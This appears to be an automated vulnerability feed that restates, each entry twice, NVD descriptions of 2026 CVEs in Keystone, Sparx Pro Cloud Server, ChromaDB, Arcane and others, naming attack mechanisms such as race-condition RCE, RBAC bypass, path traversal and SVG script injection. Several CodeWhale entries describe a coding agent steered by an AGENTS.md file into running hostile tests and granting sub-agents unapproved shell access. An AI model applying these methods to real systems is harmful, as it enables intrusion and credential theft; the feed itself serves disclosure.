Sources:
NVD CVE-2026-42099: https://nvd.nist.gov/vuln/detail/CVE-2026-42099
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Sparx Pro Cloud Server is vulnerable to a Race Condition in the /data_api/dl_internal_artifact.php endpoint. The application downloads the properties of the object pointed by guid parameter and saves loaded content in current location (__DIR__) under the specified name. An attacker with repository access can control both the filename and file contents, allowing the creation of a malicious PHP file in a current directory. Although the file is deleted after processing, a race condition exists: if the response transmission is delayed (e.g., via a large file or slow client connection), the file remains accessible. During this window, the attacker can issue a second request to execute the malicious PHP file, resulting in remote code execution.








The vendor was notified early about this vulnerability, but didn't respond with the details of vulnerability or vulnerable version range. Only version 6.1 (build 167) and below were tested and confirmed as vulnerable, other versions were not tested and might also be vulnerable.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An issue was discovered in OpenStack Keystone before 29.0.2.
https://kevwire.com/record/CVE-2026-42998
An issue was discovered in OpenStack Keystone before 29.0.2. (May 28, 2026).
An issue was discovered in OpenStack Keystone before 29.0.2. The Keystone application credential authentication plugin does not verify that the user supplied in the authentication request matches the owner of the application credential. An attacker can authenticate with their own application credential ID and secret while specifying a different user's name and domain in the request body. Keystone issues a token attributed to the victim user. The impersonated token is project-scoped and carries the intersection of the application credential's roles and the victim's actual roles on the project. This enables audit evasion, reading the victim's credentials, and acting as the victim within shared projects.
CVSS 6.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42998).
Sources:
NVD CVE-2026-42998: https://nvd.nist.gov/vuln/detail/CVE-2026-42998
Vendor advisory (via NVD references): https://security.openstack.org/ossa/OSSA-2026-015.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
An issue was discovered in OpenStack Keystone before 29.0.2. The Keystone application credential authentication plugin does not verify that the user supplied in the authentication request matches the owner of the application credential. An attacker can authenticate with their own application credential ID and secret while specifying a different user's name and domain in the request body. Keystone issues a token attributed to the victim user. The impersonated token is project-scoped and carries the intersection of the application credential's roles and the victim's actual roles on the project. This enables audit evasion, reading the victim's credentials, and acting as the victim within shared projects.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An issue was discovered in OpenStack Keystone before 29.0.2.
https://kevwire.com/record/CVE-2026-42999
An issue was discovered in OpenStack Keystone before 29.0.2. (May 28, 2026).
An issue was discovered in OpenStack Keystone before 29.0.2. The Keystone RBAC policy enforcer in enforce_call unconditionally merges the raw JSON request body into the policy enforcement dictionary via policy_dict.update(json_input.copy()), overwriting trusted target data that was previously set from database lookups. Because flask.request.get_json is called with force=True, this works regardless of Content-Type or HTTP method. Any authenticated user can inject arbitrary policy target attributes (e.g., user_id, project_id) into the request body to bypass RBAC checks and perform unauthorized operations on resources belonging to other users or projects. This was introduced in commit 5ea59f52 (Rocky/14.0.0).
CVSS 6.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42999).
Sources:
NVD CVE-2026-42999: https://nvd.nist.gov/vuln/detail/CVE-2026-42999
Vendor advisory (via NVD references): https://security.openstack.org/ossa/OSSA-2026-015.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
An issue was discovered in OpenStack Keystone before 29.0.2. The Keystone RBAC policy enforcer in enforce_call unconditionally merges the raw JSON request body into the policy enforcement dictionary via policy_dict.update(json_input.copy()), overwriting trusted target data that was previously set from database lookups. Because flask.request.get_json is called with force=True, this works regardless of Content-Type or HTTP method. Any authenticated user can inject arbitrary policy target attributes (e.g., user_id, project_id) into the request body to bypass RBAC checks and perform unauthorized operations on resources belonging to other users or projects. This was introduced in commit 5ea59f52 (Rocky/14.0.0).

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An issue was discovered in OpenStack Keystone before 29.0.2.
https://kevwire.com/record/CVE-2026-43000
An issue was discovered in OpenStack Keystone before 29.0.2. (May 28, 2026).
An issue was discovered in OpenStack Keystone before 29.0.2. When combined with an application credential impersonation vulnerability, an attacker with the member role on a project can escalate to admin by chaining unrestricted application credentials with Keystone trusts. The impersonated token carries the victim's identity, which passes the trustor validation check. Keystone then validates the delegated roles against the victim's actual role assignments in the database, not the roles on the requesting token. This allows the attacker to create a trust delegating the victim's admin role to themselves. The trust persists independently, and additional trusts and application credentials can be created to maintain access. All actions are logged under the victim's identity.
CVSS 6.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-43000).
Sources:
NVD CVE-2026-43000: https://nvd.nist.gov/vuln/detail/CVE-2026-43000
Vendor advisory (via NVD references): https://security.openstack.org/ossa/OSSA-2026-015.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
An issue was discovered in OpenStack Keystone before 29.0.2. When combined with an application credential impersonation vulnerability, an attacker with the member role on a project can escalate to admin by chaining unrestricted application credentials with Keystone trusts. The impersonated token carries the victim's identity, which passes the trustor validation check. Keystone then validates the delegated roles against the victim's actual role assignments in the database, not the roles on the requesting token. This allows the attacker to create a trust delegating the victim's admin role to themselves. The trust persists independently, and additional trusts and application credentials can be created to maintain access. All actions are logged under the victim's identity.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Authorization Bypass vulnerability in Creartia's ICMS software could allow an attacker to gain unauthorized access to protected features by manipulating the HTTP redirect headers...
https://kevwire.com/record/CVE-2026-4320
Authorization Bypass vulnerability in Creartia's ICMS software could allow an attacker to gain unauthorized access to protected features by manipulating the HTTP redirect headers... (May 18, 2026).
Authorization Bypass vulnerability in Creartia's ICMS software could allow an attacker to gain unauthorized access to protected features by manipulating the HTTP redirect headers of the login process, causing the script to continue running and enabling privilege escalation without the need for credentials.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-4320).
Sources:
NVD CVE-2026-4320: https://nvd.nist.gov/vuln/detail/CVE-2026-4320
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Authorization Bypass vulnerability in Creartia's ICMS software could allow an attacker to gain unauthorized access to protected features by manipulating the HTTP redirect headers of the login process, causing the script to continue running and enabling privilege escalation without the need for credentials.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Espressif Shared GitHub DangerJS is a reusable GitHub Action CI DangerJS workflow for Espressif GitHub projects.
https://kevwire.com/record/CVE-2026-44358
Espressif Shared GitHub DangerJS is a reusable GitHub Action CI DangerJS workflow for Espressif GitHub projects. (May 28, 2026).
Espressif Shared GitHub DangerJS is a reusable GitHub Action CI DangerJS workflow for Espressif GitHub projects. Prior to 1.0.1, the action's entrypoint.sh invoked DangerJS from the caller's workspace after copying the fork's checkout into it, creating an untrusted search path for both binary resolution and Node.js module resolution. A fork pull request processed by a pull_request_target workflow could therefore cause fork-supplied code to execute inside the action container in place of the action's own code. This vulnerability is fixed in 1.0.1.
CVSS 8.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44358).
Sources:
NVD CVE-2026-44358: https://nvd.nist.gov/vuln/detail/CVE-2026-44358
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Espressif Shared GitHub DangerJS is a reusable GitHub Action CI DangerJS workflow for Espressif GitHub projects. Prior to 1.0.1, the action's entrypoint.sh invoked DangerJS from the caller's workspace after copying the fork's checkout into it, creating an untrusted search path for both binary resolution and Node.js module resolution. A fork pull request processed by a pull_request_target workflow could therefore cause fork-supplied code to execute inside the action container in place of the action's own code. This vulnerability is fixed in 1.0.1.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An issue was discovered in OpenStack Keystone before 29.0.2.
https://kevwire.com/record/CVE-2026-44394
An issue was discovered in OpenStack Keystone before 29.0.2. (May 28, 2026).
An issue was discovered in OpenStack Keystone before 29.0.2. The Keystone federated token rescoping mechanism does not propagate the original token's expiry to the newly issued token. When a federated user rescopes a token via POST /v3/auth/tokens, the handle_scoped_token() function in the mapped authentication plugin returns response data without an expires_at value. The token provider falls back to issuing a token with a fresh default TTL. By rescoping repeatedly before each token expires, a user can maintain access indefinitely, bypassing operator-configured token lifetime policies. This is a variant of CVE-2012-3426. Only deployments using federated identity (SAML2, OpenID Connect) are affected.
CVSS 6.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44394).
Sources:
NVD CVE-2026-44394: https://nvd.nist.gov/vuln/detail/CVE-2026-44394
Vendor advisory (via NVD references): https://security.openstack.org/ossa/OSSA-2026-015.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
An issue was discovered in OpenStack Keystone before 29.0.2. The Keystone federated token rescoping mechanism does not propagate the original token's expiry to the newly issued token. When a federated user rescopes a token via POST /v3/auth/tokens, the handle_scoped_token() function in the mapped authentication plugin returns response data without an expires_at value. The token provider falls back to issuing a token with a fresh default TTL. By rescoping repeatedly before each token expires, a user can maintain access indefinitely, bypassing operator-configured token lifetime policies. This is a variant of CVE-2012-3426. Only deployments using federated identity (SAML2, OpenID Connect) are affected.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Local Path Provisioner provides a way for the Kubernetes users to utilize the local storage in each node.
https://kevwire.com/record/CVE-2026-44543
Local Path Provisioner provides a way for the Kubernetes users to utilize the local storage in each node. (May 28, 2026).
Local Path Provisioner provides a way for the Kubernetes users to utilize the local storage in each node. Prior to 0.0.36, a malicious user with permission to edit the local-path-config ConfigMap in the local-path-storage namespace can manipulate the helperPod.yaml template used by rancher/local-path-provisioner. The helperPod.yaml template is loaded by the provisioner and used to create HelperPods during PVC provisioning and cleanup operations. However, the template is not sufficiently validated before use. Security-sensitive fields such as securityContext.privileged, hostPath volumes, and Linux capabilities can be injected into the template. When a PVC operation triggers HelperPod creation, the provisioner creates the HelperPod using the attacker-controlled template. This can result in a privileged pod running on the target node with the host root filesystem mounted. This may allow the attacker to access sensitive host files, read ServiceAccount tokens from other pods on the same node, access other tenants' local-path volume data, or modify files on the host node. This vulnerability is fixed in 0.0.36.
CVSS 8.7 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44543).
Sources:
NVD CVE-2026-44543: https://nvd.nist.gov/vuln/detail/CVE-2026-44543
Vendor advisory (via NVD references): https://github.com/rancher/local-path-provisioner/security/advisories/GHSA-7fxv-8wr2-mfc4
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Local Path Provisioner provides a way for the Kubernetes users to utilize the local storage in each node. Prior to 0.0.36, a malicious user with permission to edit the local-path-config ConfigMap in the local-path-storage namespace can manipulate the helperPod.yaml template used by rancher/local-path-provisioner. The helperPod.yaml template is loaded by the provisioner and used to create HelperPods during PVC provisioning and cleanup operations. However, the template is not sufficiently validated before use. Security-sensitive fields such as securityContext.privileged, hostPath volumes, and Linux capabilities can be injected into the template. When a PVC operation triggers HelperPod creation, the provisioner creates the HelperPod using the attacker-controlled template. This can result in a privileged pod running on the target node with the host root filesystem mounted. This may allow the attacker to access sensitive host files, read ServiceAccount tokens from other pods on the same node, access other tenants' local-path volume data, or modify files on the host node. This vulnerability is fixed in 0.0.36.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### esm.sh is a no-build content delivery network (CDN) for web development.
https://kevwire.com/record/CVE-2026-44594
esm.sh is a no-build content delivery network (CDN) for web development. (May 28, 2026).
esm.sh is a no-build content delivery network (CDN) for web development. In 137 and earlier, a Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the browser field in package.json. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44594).
Sources:
NVD CVE-2026-44594: https://nvd.nist.gov/vuln/detail/CVE-2026-44594
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
esm.sh is a no-build content delivery network (CDN) for web development. In 137 and earlier, a Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the browser field in package.json. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Python Liquid is a Python engine for the Liquid template language.
https://kevwire.com/record/CVE-2026-45017
Python Liquid is a Python engine for the Liquid template language. (May 28, 2026).
Python Liquid is a Python engine for the Liquid template language. Prior to 2.2.0, the built-in FileSystemLoader and CachingFileSystemLoader do not guard against reading files outside their search paths when given an absolute path to resolve. This allows malicious template authors to load and render arbitrary files via the {% include %} and {% render %} tags. Targeted files would need to contain valid Liquid markup and be readable by the application process. This vulnerability is fixed in 2.2.0.
CVSS 8.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45017).
Sources:
NVD CVE-2026-45017: https://nvd.nist.gov/vuln/detail/CVE-2026-45017
Vendor advisory (via NVD references): https://github.com/jg-rp/liquid/security/advisories/GHSA-8p4x-wr7x-3788
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Python Liquid is a Python engine for the Liquid template language. Prior to 2.2.0, the built-in FileSystemLoader and CachingFileSystemLoader do not guard against reading files outside their search paths when given an absolute path to resolve. This allows malicious template authors to load and render arbitrary files via the {% include %} and {% render %} tags. Targeted files would need to contain valid Liquid markup and be readable by the application process. This vulnerability is fixed in 2.2.0.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### DumbAssets through 1.0.11 contains a path traversal vulnerability in the POST /api/delete-file endpoint and filesToDelete array parameters that allows unauthenticated attackers to...
https://kevwire.com/record/CVE-2026-45230
DumbAssets through 1.0.11 contains a path traversal vulnerability in the POST /api/delete-file endpoint and filesToDelete array parameters that allows unauthenticated attackers to... (May 18, 2026).
DumbAssets through 1.0.11 contains a path traversal vulnerability in the POST /api/delete-file endpoint and filesToDelete array parameters that allows unauthenticated attackers to delete arbitrary files by supplying ../ sequences that bypass directory boundary validation. Attackers can exploit the optional and disabled-by-default authentication control to traverse outside the intended application directory and delete critical files such as server.js or package.json, causing complete denial of service.
CVSS 8.8 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45230).
Sources:
NVD CVE-2026-45230: https://nvd.nist.gov/vuln/detail/CVE-2026-45230
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
DumbAssets through 1.0.11 contains a path traversal vulnerability in the POST /api/delete-file endpoint and filesToDelete array parameters that allows unauthenticated attackers to delete arbitrary files by supplying ../ sequences that bypass directory boundary validation. Attackers can exploit the optional and disabled-by-default authentication control to traverse outside the intended application directory and delete critical files such as server.js or package.json, causing complete denial of service.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### GitButler is a modern Git-based version control interface for AI-powered workflows.
https://kevwire.com/record/CVE-2026-45261
GitButler is a modern Git-based version control interface for AI-powered workflows. (May 28, 2026).
GitButler is a modern Git-based version control interface for AI-powered workflows. Prior to 0.19.7, a emote code execution vulnerability exists in the Tauri-based GitButler desktop application. An attacker can inject a malicious link in a pull request body, which if clicked by the user allows for arbitrary script execution in the Tauri webview. Users that have not enabled forge integration are not at risk. This vulnerability is fixed in 0.19.7.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45261).
Sources:
NVD CVE-2026-45261: https://nvd.nist.gov/vuln/detail/CVE-2026-45261
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
GitButler is a modern Git-based version control interface for AI-powered workflows. Prior to 0.19.7, a emote code execution vulnerability exists in the Tauri-based GitButler desktop application. An attacker can inject a malicious link in a pull request body, which if clicked by the user allows for arbitrary script execution in the Tauri webview. Users that have not enabled forge integration are not at risk. This vulnerability is fixed in 0.19.7.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CodeWhale is a DeepSeek + MiMo coding agent in terminal.
https://kevwire.com/record/CVE-2026-45311
CodeWhale is a DeepSeek + MiMo coding agent in terminal. (May 28, 2026).
CodeWhale is a DeepSeek + MiMo coding agent in terminal. From 0.3.0 to 0.8.23, the run_tests tool executes cargo test in the workspace with ApprovalRequirement::Auto, meaning it runs without any user approval prompt. cargo test compiles and executes arbitrary code: test binaries, build.rs build scripts, and proc macros. While auto-approving test execution is a deliberate design choice, it creates an inconsistency in the security boundary. However, in a malicious repository, test code can execute arbitrary shell commands, exfiltrate credentials, or establish persistence with zero approval. The attack is amplified by AGENTS.md (auto-loaded into the system prompt), which can instruct the model to run tests proactively at session start. This vulnerability is fixed in 0.8.23.
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45311).
Sources:
NVD CVE-2026-45311: https://nvd.nist.gov/vuln/detail/CVE-2026-45311
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
CodeWhale is a DeepSeek + MiMo coding agent in terminal. From 0.3.0 to 0.8.23, the run_tests tool executes cargo test in the workspace with ApprovalRequirement::Auto, meaning it runs without any user approval prompt. cargo test compiles and executes arbitrary code: test binaries, build.rs build scripts, and proc macros. While auto-approving test execution is a deliberate design choice, it creates an inconsistency in the security boundary. However, in a malicious repository, test code can execute arbitrary shell commands, exfiltrate credentials, or establish persistence with zero approval. The attack is amplified by AGENTS.md (auto-loaded into the system prompt), which can instruct the model to run tests proactively at session start. This vulnerability is fixed in 0.8.23.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MeshCore Card provides MeshCore Lovelace card for Home Assistant.
https://kevwire.com/record/CVE-2026-45323
MeshCore Card provides MeshCore Lovelace card for Home Assistant. (May 28, 2026).
MeshCore Card provides MeshCore Lovelace card for Home Assistant. Prior to 0.3.3, Meshcore node names are rendered without HTML escaping in meshcore-card, allowing any node within direct or indirect (repeated) radio range to execute arbitrary javascript in the Home Assistant frontend of anyone viewing the card. This vulnerability is fixed in 0.3.3.
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45323).
Sources:
NVD CVE-2026-45323: https://nvd.nist.gov/vuln/detail/CVE-2026-45323
Vendor advisory (via NVD references): https://github.com/jpettitt/meshcore-card/security/advisories/GHSA-5vrg-xpcj-xppc
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
MeshCore Card provides MeshCore Lovelace card for Home Assistant. Prior to 0.3.3, Meshcore node names are rendered without HTML escaping in meshcore-card, allowing any node within direct or indirect (repeated) radio range to execute arbitrary javascript in the Home Assistant frontend of anyone viewing the card. This vulnerability is fixed in 0.3.3.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Automad is a flat-file content management system and template engine.
https://kevwire.com/record/CVE-2026-45332
Automad is a flat-file content management system and template engine. (May 28, 2026).
Automad is a flat-file content management system and template engine. From 2.0.0-alpha.1 to 2.0.0-beta.27, a Broken Access Control vulnerability allows an unauthenticated attacker to retrieve the bcrypt password hash of every administrator account with a single POST request. The /_api/user-collection/create-first-user setup endpoint remains publicly accessible once initial configuration is complete and returns full serialized user data in the JSON response body. This vulnerability is fixed in 2.0.0-beta.28.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45332).
Sources:
NVD CVE-2026-45332: https://nvd.nist.gov/vuln/detail/CVE-2026-45332
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Automad is a flat-file content management system and template engine. From 2.0.0-alpha.1 to 2.0.0-beta.27, a Broken Access Control vulnerability allows an unauthenticated attacker to retrieve the bcrypt password hash of every administrator account with a single POST request. The /_api/user-collection/create-first-user setup endpoint remains publicly accessible once initial configuration is complete and returns full serialized user data in the JSON response body. This vulnerability is fixed in 2.0.0-beta.28.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CodeWhale is a DeepSeek + MiMo coding agent in terminal.
https://kevwire.com/record/CVE-2026-45373
CodeWhale is a DeepSeek + MiMo coding agent in terminal. (May 28, 2026).
CodeWhale is a DeepSeek + MiMo coding agent in terminal. Prior to 0.8.26, although SSRF is validated against hostnames that resolve to private IPv6 addresses, when providing the IPV6 in‌‌ URL‌ as http://[::1], the SSRF defenses do not work. This vulnerability is fixed in 0.8.26.
CVSS 7.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45373).
Sources:
NVD CVE-2026-45373: https://nvd.nist.gov/vuln/detail/CVE-2026-45373
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
CodeWhale is a DeepSeek + MiMo coding agent in terminal. Prior to 0.8.26, although SSRF is validated against hostnames that resolve to private IPv6 addresses, when providing the IPV6 in‌‌ URL‌ as http://[::1], the SSRF defenses do not work. This vulnerability is fixed in 0.8.26.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CodeWhale is a DeepSeek + MiMo coding agent in terminal.
https://kevwire.com/record/CVE-2026-45374
CodeWhale is a DeepSeek + MiMo coding agent in terminal. (May 28, 2026).
CodeWhale is a DeepSeek + MiMo coding agent in terminal. Prior to 0.8.26, the task_create tool spawns durable sub-agents that inherit two insecure defaults, allow_shell defaults to true (config.rs:1499: self.allow_shell.unwrap_or(true)) and auto_approve defaults to true (task_manager.rs:297: auto_approve: Some(true)). When a user approves a task_create call (which requires ApprovalRequirement::Required), they approve what appears to be a benign work prompt. However, the spawned sub-agent silently receives unrestricted, unapproved shell access. This vulnerability is fixed in 0.8.26.
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45374).
Sources:
NVD CVE-2026-45374: https://nvd.nist.gov/vuln/detail/CVE-2026-45374
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
CodeWhale is a DeepSeek + MiMo coding agent in terminal. Prior to 0.8.26, the task_create tool spawns durable sub-agents that inherit two insecure defaults, allow_shell defaults to true (config.rs:1499: self.allow_shell.unwrap_or(true)) and auto_approve defaults to true (task_manager.rs:297: auto_approve: Some(true)). When a user approves a task_create call (which requires ApprovalRequirement::Required), they approve what appears to be a benign work prompt. However, the spawned sub-agent silently receives unrestricted, unapproved shell access. This vulnerability is fixed in 0.8.26.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Arcane is an interface for managing Docker containers, images, networks, and volumes.
https://kevwire.com/record/CVE-2026-45627
Arcane is an interface for managing Docker containers, images, networks, and volumes. (May 29, 2026).
Arcane is an interface for managing Docker containers, images, networks, and volumes. Prior to 1.19.0, the unauthenticated GET /api/app-images/logo endpoint reflects a user-supplied color query parameter into the body of an SVG document via strings.ReplaceAll with no escaping. The substitution lands inside a <style> element of the embedded logo.svg, allowing an attacker to close the style block and inject executable <script> content. Because the response is served as image/svg+xml and Arcane sets no Content-Security-Policy or X-Content-Type-Options headers, navigating a logged-in admin victim to a crafted URL executes attacker-controlled JavaScript in Arcane's origin and rides the victim's HttpOnly JWT cookie to fully compromise the admin account. This vulnerability is fixed in 1.19.0.
CVSS 8.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45627).
Sources:
NVD CVE-2026-45627: https://nvd.nist.gov/vuln/detail/CVE-2026-45627
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
Arcane is an interface for managing Docker containers, images, networks, and volumes. Prior to 1.19.0, the unauthenticated GET /api/app-images/logo endpoint reflects a user-supplied color query parameter into the body of an SVG document via strings.ReplaceAll with no escaping. The substitution lands inside a <style> element of the embedded logo.svg, allowing an attacker to close the style block and inject executable <script> content. Because the response is served as image/svg+xml and Arcane sets no Content-Security-Policy or X-Content-Type-Options headers, navigating a logged-in admin victim to a crafted URL executes attacker-controlled JavaScript in Arcane's origin and rides the victim's HttpOnly JWT cookie to fully compromise the admin account. This vulnerability is fixed in 1.19.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A pre-authentication, code injection vulnerability in version 1.0.0 or later of the ChromaDB Python project allows an unauthenticated attacker to run arbitrary code on the server...
https://kevwire.com/record/CVE-2026-45829
A pre-authentication, code injection vulnerability in version 1.0.0 or later of the ChromaDB Python project allows an unauthenticated attacker to run arbitrary code on the server... (May 18, 2026).
A pre-authentication, code injection vulnerability in version 1.0.0 or later of the ChromaDB Python project allows an unauthenticated attacker to run arbitrary code on the server by sending a malicious model repository and trust_remote_code set to true in the /api/v2/tenants/{tenant}/databases/{db}/collections endpoint.
CVSS 10.0 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45829).
Sources:
NVD CVE-2026-45829: https://nvd.nist.gov/vuln/detail/CVE-2026-45829
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A pre-authentication, code injection vulnerability in version 1.0.0 or later of the ChromaDB Python project allows an unauthenticated attacker to run arbitrary code on the server by sending a malicious model repository and trust_remote_code set to true in the /api/v2/tenants/{tenant}/databases/{db}/collections endpoint.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
